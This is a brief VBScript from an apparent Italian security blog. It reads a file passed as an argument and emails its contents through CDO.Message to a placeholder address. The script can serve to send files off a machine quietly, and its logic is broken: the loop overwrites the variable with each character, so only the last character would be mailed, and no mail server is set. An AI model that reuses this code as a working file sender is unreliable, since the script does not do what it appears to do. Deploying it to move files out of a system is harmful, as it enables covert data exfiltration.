' Ctrlaltcanc SECURITY BLOG 
'http://ctrlaltcanccorp.altervista.org/Blog/


Set objFS = CreateObject("Scripting.FileSystemObject")

Set objFSO = CreateObject("Scripting.FileSystemObject")

Set objFile = objFSO.OpenTextFile(WScript.Arguments(0), 1)
Do Until objFile.AtEndOfStream
    strCharacters = objFile.Read(1)


Loop

Set objEmail = CreateObject("CDO.Message")

objEmail.From = "TUA_MAIL"
objEmail.To = "A_CHI_MANDI_LA_MAIL"
objEmail.Subject = "SOGGETTO_MAIL" 
objEmail.Textbody = strCharacters
objEmail.Send